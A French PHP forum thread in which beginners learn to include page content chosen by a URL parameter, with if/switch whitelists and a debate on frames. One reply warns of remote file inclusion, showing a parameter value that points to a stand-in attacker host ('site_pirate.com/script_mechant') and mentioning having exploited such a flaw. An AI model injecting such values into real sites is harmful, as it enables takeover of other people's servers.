prob très simple - include en php

prob très simple - include en php - PHP - Programmation

Marsh Posté le 08-02-2004 à 11:21:07    

Salut tout le monde,
 
Je suis en train de travailler sur un site en php/html. Pour le moment, dans chaque page il ya un haut+menu, un milieu et un bas. Or le souci, c'est que la page est + lente à charger et j'aimerai créer des frames avec include. Donc je crée un index.php qui include un haut.html (qui contient le menu) et un bas.html. Tout ca ca marche pour le moment, sur mon nouvel index j'obtiens le haut et le bas. Par contre, au centre j'aimerai que s'affiche la page qui change au click du menu. Donc je crée un fichier centre.html, mais je ne sais pas quoi y mettre à l'interieur, sachant qu'il doit appeler acceuil.html, contact.html... etc... Voilà si quelqu'un sait ca m'aiderai beaucoup, je repasserai + tard. Merci d'avance. ++

Reply

Marsh Posté le 08-02-2004 à 11:21:07   

Reply

Marsh Posté le 08-02-2004 à 13:10:40    

1) C'est plusieurs fichiers en .php que tu dois créer (exemple : accueil.php, contact.php etc...)
 
2) Tu fais des liens dans ton menu en haut ou tu passes un paramètre comme ceci :
 

Code :
  1. tonlien.php?variable=accueil
  2. tonlien.php?variable=contact
  3. etc...


 
Dans ta page index.php, à l'endroit ou tu dois afficher le centre :
 
Tu récupères ta variable passée en paramètre dans les liens :
 

Code :
  1. $variable = $_GET['variable'];


 
Puis, tu testes la valeur de cette variable et tu "inclues" la bonne page en fonction du résultat.
 

Code :
  1. if ($variable == "accueil" ){include"accueil.php"; }
  2. else if ($variable == "contact" ){include"contact.php"; }
  3. etc...


 
Bon voilà, je t'ai aidé parce qu'on est dimanche, mais sache qu'une question aussi basique que celle-là a été traitée ici des milliers de fois. Donc la prochaine fois, recherche  sur le forum. Et sinon, tu as des tutoriaux pour ce genre de choses complêtement basiques ici : http://www.phpdebutant.org


Message édité par Hermes le Messager le 08-02-2004 à 13:11:40
Reply

Marsh Posté le 08-02-2004 à 17:29:11    

Citation :

Bon voilà, je t'ai aidé parce qu'on est dimanche,


 
Ah c'est pour ça. je me disais aussi... :o


Message édité par jagstang le 08-02-2004 à 17:30:46

---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
Reply

Marsh Posté le 08-02-2004 à 17:46:59    

Merci pour ta réponse je vais tester. J'ai chercher sur le net juste avant de demander mais g rien trouvé qui marchait bien. Je v tester. Bon dimanche encore merci ++

Reply

Marsh Posté le 09-02-2004 à 02:27:32    

hermes le messager a écrit :


Puis, tu testes la valeur de cette variable et tu "inclues" la bonne page en fonction du résultat.
 

Code :
  1. if ($variable == "accueil" ){include"accueil.php"; }
  2. else if ($variable == "contact" ){include"contact.php"; }
  3. etc...


 


t'as pas plus horrible ?
 

Code :
  1. switch ($variable) {
  2.   case "accueil":
  3.     include "accueil.php";
  4.     break;
  5.   case "contact":
  6.     include "contact.php";
  7.     break;
  8.   case "foo":
  9.     include "foo.php";
  10.     break;
  11.   default:
  12.    echo "Fichier incorrect"
  13.    break;
  14. }

Reply

Marsh Posté le 09-02-2004 à 10:43:37    

spike a écrit :


t'as pas plus horrible ?
 

Code :
  1. switch ($variable) {
  2.   case "accueil":
  3.     include "accueil.php";
  4.     break;
  5.   case "contact":
  6.     include "contact.php";
  7.     break;
  8.   case "foo":
  9.     include "foo.php";
  10.     break;
  11.   default:
  12.    echo "Fichier incorrect"
  13.    break;
  14. }




 
Pour un débutant, le "if" est mieux, car plus clair.
 
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.

Reply

Marsh Posté le 09-02-2004 à 12:09:20    

hermes le messager a écrit :


 
Pour un débutant, le "if" est mieux, car plus clair.
 
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.


certes mais le switch reste plus compréhensible niveau lecture et plus aisé à utiliser pour la maintenance du code

Reply

Marsh Posté le 09-02-2004 à 13:00:26    

je ne comprends pas pourquoi vous n'utilisez pas <a href="" target="">, ça fait une frame de trop?


Message édité par maf2013 le 09-02-2004 à 13:03:10
Reply

Marsh Posté le 09-02-2004 à 19:44:23    

^_^ tu veux qu'on débate sur la pourravicité des frame ? entre les navigateurs qui les supportent pas, les bots des moteurs de recherches qui s'y perdent, l'horreur graphique, les visiteurs qui arrivent par un bout du menu bas droit, la lourdeur de l'affichage et l'augmentation du temps de chargement o_O ... y'en a à dire =)

Reply

Marsh Posté le 09-02-2004 à 21:03:13    

ok, n'hesitez pas à me montrer un exemple avec les includes parce que là, je pige rien du tout aux avantages qu'on puisse en tirer.

Reply

Marsh Posté le 09-02-2004 à 21:03:13   

Reply

Marsh Posté le 14-02-2004 à 18:52:40    

maf2013 a écrit :

ok, n'hesitez pas à me montrer un exemple avec les includes parce que là, je pige rien du tout aux avantages qu'on puisse en tirer.


 
ça devrait répondre à ta question :  
 
http://openweb.eu.org/articles/finir_cadres/
 


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
Reply

Marsh Posté le 14-02-2004 à 19:50:48    

Hermes le Messager a écrit :


 
Pour un débutant, le "if" est mieux, car plus clair.
 
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.


 
En fait, le switch serait plutôt plus lent pour une telle utilisation.

Reply

Marsh Posté le 14-02-2004 à 19:58:04    

ouais bon on parle de PHP là. parlons pas d'optimisation entre if/switch à ce niveau là...


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
Reply

Marsh Posté le 14-02-2004 à 20:28:25    

Merci à tous pour vos réponses. Z'etes sympa de vous occuper de mon cas lool. Encore merci ++

Reply

Marsh Posté le 14-02-2004 à 20:46:16    

comment ca se fait que j'ai directement : FICHIER INCORRECT quand j'arrive sur la premiere page ou quand je cliqk sur ACCUEIL ?

Reply

Marsh Posté le 14-02-2004 à 20:50:01    

c bon le probleme est resolu merci pour toutes vos reponses ++

Reply

Marsh Posté le 17-02-2004 à 23:05:40    

JagStang a écrit :


ça devrait répondre à ta question :  
http://openweb.eu.org/articles/finir_cadres/


 
http://www.phpdebutant.org/article68.php
 
C'est un bon system pour un site ??

Reply

Marsh Posté le 18-02-2004 à 13:42:25    

parfait oui


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
Reply

Marsh Posté le 18-02-2004 à 13:52:15    

guiotv2 a écrit :


 
http://www.phpdebutant.org/article68.php
 
C'est un bon system pour un site ??

c le truc a pas faire si tu ne veux pas te faire hacker [:fear]
 
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
 
tu fera un include('http://site_pirate.com/script_mechant.php3');
 
et la je peux faire ce que je veux de ton site :)


Message édité par fabien le 18-02-2004 à 13:53:15

---------------
Découvre le HFRcoin ✈ - smilies
Reply

Marsh Posté le 18-02-2004 à 14:17:40    

fabien a écrit :

c le truc a pas faire si tu ne veux pas te faire hacker [:fear]
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
tu fera un include('http://site_pirate.com/script_mechant.php3');
et la je peux faire ce que je veux de ton site :)


 
Ok, je crois comprendre le problème. Comment y résoudre ?  :??:

Reply

Marsh Posté le 18-02-2004 à 14:20:37    

guiotv2 a écrit :


 
Ok, je crois comprendre le problème. Comment y résoudre ?  :??:  

tu peux interdire les "/" sinon tu declare les page une par une comme l'on te l'explique plus haut dans ce topic.


---------------
Découvre le HFRcoin ✈ - smilies
Reply

Marsh Posté le 18-02-2004 à 14:29:40    

Je suis débutant mais il me semble bien que dans l'artivcle 68 de phpdebutant il y a des if...  donc pas de possibilité de hacker de ta maniere... :??:

Reply

Marsh Posté le 18-02-2004 à 14:40:39    

guiotv2 a écrit :

Je suis débutant mais il me semble bien que dans l'artivcle 68 de phpdebutant il y a des if...  donc pas de possibilité de hacker de ta maniere... :??:

le if verifie seulement si la variable $page existe dans l'url.


---------------
Découvre le HFRcoin ✈ - smilies
Reply

Marsh Posté le 18-02-2004 à 14:50:36    

fabien a écrit :

le if verifie seulement si la variable $page existe dans l'url.


Ok... je crois comprendre. Merci ! il va falloir que je recommence alors...   :whistle:

Reply

Marsh Posté le 18-02-2004 à 15:34:12    

fabien a écrit :

c le truc a pas faire si tu ne veux pas te faire hacker [:fear]
 
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
 
tu fera un include('http://site_pirate.com/script_mechant.php3');
 
et la je peux faire ce que je veux de ton site :)


dépend la configuration du serveur, il est impossible d'inclurer un fichier via http. alors faut pas être si catégorique. Surtout que la faille d'include est la faille la plus courante, elle est donc de plus en plus corrigé sur les serveurs.


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
Reply

Marsh Posté le 18-02-2004 à 19:51:55    

JagStang a écrit :


dépend la configuration du serveur, il est impossible d'inclurer un fichier via http. alors faut pas être si catégorique. Surtout que la faille d'include est la faille la plus courante, elle est donc de plus en plus corrigé sur les serveurs.  

d'ou tu tiens ca ?
il y avait un site qui avait cette faille et j'ai reussi a inclure un fichier qui venait de mon serveur., donc par http.
 


---------------
Découvre le HFRcoin ✈ - smilies
Reply

Marsh Posté le 21-02-2004 à 03:48:16    

b***el. tu sais lire ?
 
j'ai dis dépend la config. ça veut donc pas dire _TOUJOURS_
Pour info, la plupart des serveur sont mal configurés. donc...


Message édité par jagstang le 21-02-2004 à 03:48:43

---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
Reply

Marsh Posté le 21-02-2004 à 20:49:54    

par contre ce que tu inclus depuis un site distant c'est jamais le source mais l'interprétation par le serveur distant (normal ça passe en HTTP)

Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed